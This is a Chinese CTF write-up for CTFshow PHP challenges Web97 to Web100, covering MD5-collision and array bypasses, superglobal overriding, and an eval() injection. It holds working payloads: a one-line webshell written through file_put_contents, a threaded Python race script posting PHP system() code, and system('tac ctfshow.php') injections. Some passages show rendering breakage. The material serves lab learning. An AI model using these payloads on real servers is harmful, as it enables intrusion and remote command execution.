CTFshow系列——PHP特性Web97-100
OK,今天晚上也是给大家带来一篇PHP特性的CTF题目。主要是昨天参加了第三届”陇剑杯“比赛,所以也是没有给大家及时的更新;
过几天就把这次比赛的Web题以及应急响应的两道题目给大家讲解一下。
文章目录
- Web97
- 代码分析
- 方法一:
- 方法二:
- Web98(新题型)
- 代码分析(重要)
- 流程图
- Web99
- 代码分析
- 网上WP
- 方法二:时间竞争
- Web100(新题型)
- 代码分析
- **攻击思路**
- 网上WP思路(本人菜鸡一个,唉)
- 总结
Web97
话不多说,还是老样子分析代码:
<?phpinclude("flag.php");
highlight_file(__FILE__);
if (isset($_POST['a']) and isset($_POST['b'])) {
if ($_POST['a'] != $_POST['b'])
if (md5($_POST['a']) === md5($_POST['b']))
echo $flag;
else
print 'Wrong.';
}
?>
这里从代码我们可以看到需要我们用POST请求方式填入两个参数a
和b
,并且这两个的md5值需要一样,才可以输出flag;
代码分析
if ($_POST['a'] != $_POST['b'])
:第一个条件。它使用!=
(非严格比较),要求 a 和 b 的值不相等;- 第二个条件:它使用
===
(严格比较),要求 a 和 b 经过 md5() 函数处理后的结果严格相等。
方法一:
这个时候,我们就要说到一个知识点了:MD5 碰撞(collision)攻击:
- MD5 算法存在已知的漏洞,可以找到两个不同的输入字符串,它们经过 MD5 哈希后会产生完全相同的 32 位十六进制字符串。
所以,利用这个特性,我们可以寻找几个md5值相等,但是本身不一样的参数:
md5值相同的两个不同参数:a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
所以我们构造的payload为:
# payload
a=TEXTCOLLBYfGiJUETHQ4hAcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak&&b=TEXTCOLLBYfGiJUETHQ4hEcKSMd5zYpgqf1YRDhkmxHkhPWptrkoyz28wnI9V0aHeAuaKnak
方法二:
- 漏洞利用
md5() 函数有一个特性:当它接收到一个数组时,会返回 null。
md5(array())
的结果是null
。null === null
的结果是true
。
因此,你可以构造两个不同的数组,它们的 MD5 散列值都是 null,从而满足 md5($_POST[‘a’]) === md5($_POST[‘b’]) 的条件。
- Payload 构造
为了满足 $_POST[‘a’] != $_POST[‘b’] 的条件,你需要提交两个不同的数组。
在 PHP 中,当通过 POST 方式提交 a[] 和 b[] 时,它们会被解析为两个不同的空数组 array()。
所以payload可以为:
# payload
a[]=1&b[]=2
同样可以得到flag。
Web98(新题型)
Notice: Undefined index: flag in /var/www/html/index.php on line 15Notice: Undefined index: flag in /var/www/html/index.php on line 16Notice: Undefined index: HTTP_FLAG in /var/www/html/index.php on line 17<?phpinclude("flag.php");
$_GET?$_GET=&$_POST:'flag';
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);?>
根据页面的提示,我们知道flag的位置,但是HTTP_FLAG又是什么东西呢?
代码分析(重要)
这题目是一个典型的 PHP 超全局变量覆盖漏洞,需要你利用 $_GET
变量来控制程序的执行流程,最终读取 flag。
-
$_GET?$_GET=&$_POST:'flag';
:-
这是一个三元运算符。
-
问号前的 $_GET 相当于 isset($_GET)。如果 URL 中存在任何 GET 参数,这个条件就为真。
-
如果条件为真,$_GET = &$_POST 会将 $_GET 变量引用到 $_POST 变量。这意味着,从这行代码之后,任何对
$_GET
的修改实际上都是在修改$_POST
,反之亦然。 -
如果条件为假(URL 中没有任何 GET 参数),这行代码什么也不做。
-
-
$_GET['flag']=='flag'?\$_GET=&$_COOKIE:'flag';
- 这个三元运算符检查 $_GET[‘flag’] 是否等于字符串
flag
。 - 如果条件为真,$_GET = &$_COOKIE 会将
$_GET
引用到$_COOKIE
- 这个三元运算符检查 $_GET[‘flag’] 是否等于字符串
- 关键点:由于第一步已经将 $_GET 引用到了 $_POST,所以这里的 $_GET[‘flag’] 实际上是在检查 $_POST[‘flag’] 的值。
-
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
-
同样,这个三元运算符检查 $_GET[‘flag’] 的值。
-
如果条件为真,KaTeX parse error: Expected 'EOF', got '&' at position 8: _GET = &̲_SERVER 会将
$_GET
引用到$_SERVER
。
-
- 关键点:由于第二步已经将 $_GET 引用到了 $_COOKIE,所以这里的 $_GET[‘flag’] 实际上是在检查 $_COOKIE[‘flag’] 的值。
-
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
-
这是最后一行,也是最终的判断。它检查 $_GET[‘HTTP_FLAG’] 的值。
-
如果 $_GET[‘HTTP_FLAG’] 等于
flag
,就会执行 highlight_file($flag)
-
- 最关键点:由于第三步已经将 $_GET 引用到了 $_SERVER,所以这里的
$_GET['HTTP_FLAG']
实际上是在检查$_SERVER['HTTP_FLAG']
的值。
流程图
为了方便大家理解,给大家画了个流程图:
理论完成,开始实践:
甚至都不用抓包,flag直接就显示再屏幕上了;
Web99
<?phphighlight_file(__FILE__);
$allow = array();
for ($i=36; $i < 0x36d; $i++) { array_push($allow, rand(1,$i));
}
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){file_put_contents($_GET['n'], $_POST['content']);
}?>
代码分析
老样子,先分析代码:
highlight_file(__FILE__);
: 显示当前 PHP 脚本的源代码。$allow = array();
: 初始化一个空数组 $allow。for ($i=36; $i < 0x36d; $i++)
:-
这是一个循环,从 36 迭代到
0x36d
(十进制 877)。 -
array_push($allow, rand(1,$i));
: 在每次循环中,一个介于 1 和 i之间的随机数被添加到‘i 之间的随机数被添加到 `i之间的随机数被添加到‘allow` 数组中。
-
if(isset($_GET['n']) && in_array($_GET['n'], $allow))
:- 检查 URL 参数 n 是否存在,并且它的值是否在 $allow 数组中。
file_put_contents($_GET['n'], $_POST['content']);
:- 如果前面的条件都满足,程序会创建一个文件,文件名是 $allow 数组中的一个随机数,文件内容是 POST 参数
content
。
- 如果前面的条件都满足,程序会创建一个文件,文件名是 $allow 数组中的一个随机数,文件内容是 POST 参数
网上WP
之后的做法我也是按照网上WP进行操作(不过我问AI,好像还可以时间竞争,但没成功过)
第一步:先创建访问一个新文件2.php,然后POST传入一句话木马方便后续的操作:
第二步:GET传参改为url/2.php(注意不是url/?n=2.php
),然后POST进行命令执行(命令执行不会?看我之前的文章即可)就可以了:
第三步:查看flag即可——> 查看源代码
方法二:时间竞争
说实话,我运行代码的时候没有成功过,各位可以试一试:
import requests
import threading# url换成自己的url
url = "https://bab65f25-7830-4402-a50f-f15e31f94aa8.challenge.ctf.show/"def exploit():for i in range(1, 878): # 猜测 rand() 可能的值try:get_params = {'n': i}post_content = {'content': '<?php system("ls -al"); ?>'}# 发送请求response = requests.post(url, params=get_params, data=post_content, timeout=1)# 检查响应,看是否成功写入if "system" in response.text: # 如果看到system这个关键词,说明写入成功print(f"File written successfully with number: {i}")print(response.text)except requests.exceptions.RequestException as e:# print(f"Error: {e}")pass# 创建多个线程来并行执行
threads = []
for _ in range(50): # 启动50个线程来增加命中率t = threading.Thread(target=exploit)threads.append(t)t.start()for t in threads:t.join()
这个脚本会不断地发送请求,尝试所有可能的随机数。一旦命中,你的 Webshell 就会被写入文件,然后你可以通过访问那个文件名来执行命令。
Web100(新题型)
还是老样子,上代码:
<?phphighlight_file(__FILE__);
include("ctfshow.php");
//flag in class ctfshow;
$ctfshow = new ctfshow();
$v1=$_GET['v1'];
$v2=$_GET['v2'];
$v3=$_GET['v3'];
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
if($v0){if(!preg_match("/\;/", $v2)){if(preg_match("/\;/", $v3)){eval("$v2('ctfshow')$v3");}}}?>
代码分析
-
$v0=is_numeric($v1) and is_numeric($v2) and is_numeric($v3);
- 这行代码检查
v1
、v2
和v3
是否为数字。这里的is_numeric()
函数有一个特性:它不仅会判断整数和浮点数,也会将只包含数字的字符串判断为true
。
- 这行代码检查
-
if($v0)
- 只有当
v1
、v2
、v3
都通过is_numeric()
的检查时,代码才会进入这个条件块。
- 只有当
-
if(!preg_match("/;/", $v2))
- 这个过滤器检查
v2
中是否不包含分号;
。
- 这个过滤器检查
-
if(preg_match("/;/", $v3))
- 这个过滤器检查
v3
中是否包含分号;
。
- 这个过滤器检查
-
eval("$v2('ctfshow')$v3");
- 这是漏洞的核心。
eval()
函数会执行其参数中的 PHP 代码。 - 它的参数由三个部分组成:
$v2
的值、硬编码的字符串('ctfshow')
,以及$v3
的值。
- 这是漏洞的核心。
攻击思路
我们的目标是利用 eval()
函数执行一个可以读取 flag
的命令。为了实现这一点,需要构造 v1
、v2
和 v3
,使其满足所有过滤条件。
-
绕过
is_numeric()
- PHP 的
is_numeric()
函数会将十六进制或科学计数法的字符串判断为数字。 - 例如,
is_numeric("0x123")
和is_numeric("1e3")
都返回true
。 - 你可以使用这些形式来绕过
is_numeric()
的检查,同时在v2
和v3
中传递非数字代码。
- PHP 的
-
满足正则表达式过滤
v2
不能包含分号;
。v3
必须包含分号;
。
-
构造
eval()
参数- 需要让
eval("$v2('ctfshow')$v3")
形成一个有效的 PHP 函数调用。
- 需要让
网上WP思路(本人菜鸡一个,唉)
然后我尝试了一下自己的payload,报错失败。。
?v1=1&v2=system&v3=(ls);
- 网上方法一:
# payload
?v1=1&v2=system("cp+ctfshow.php+1.txt")?>&v3=;
因为v2,v3不需要是数字,and运算时v0已经计算完毕了
然后访问/1.txt
根据文件提示将0x2d替换成-得到flag
- 方法二:
简单拼接:
三个参数 v1 ,v2 ,v3,其中v0 实际上只会去判断v1是否为数字 ,因此v1 = 1234 数字即可
拼接起来就是var_dump($ctfshow)/ (‘ctfshow’) / ; 可以执行
v2 也可以用其他显示输出的函数
v2=print_r($ctfshow)/&v3=/;
# payload
?v1=1234&&v2=print_r($ctfshow)/*&v3=*/;
- 方法三:
payload为:
?v1=1&v2=system("tac ctfshow.php")/*&v3=*/;
- /&v3=/ 注释掉V3与(‘ctfshow’) 实际执行结果是v2的内容 先是system(“ls”)
然后才是system(“tac ctfshow.php”)
运行后屏幕显示的结果:
} var dalaoA,dalaoA,dalaoA,dalaoB,$flag_is_c5ead3750x2d39510x2d46a50x2d966d0x2d015111cd21db; class ctfshow{ / # @link: https://ctfer.com # @email: h1xa@ctfer.com # @Last Modified time: 20200x2d090x2d21 22:11:52 # @Last Modified by: h1xa # @Date: 20200x2d090x2d21 21:31:23 # @Author: h1xa # 0x2d0x2d coding: utf0x2d8 0x2d*- /*
总结
学海无涯,还是太菜了。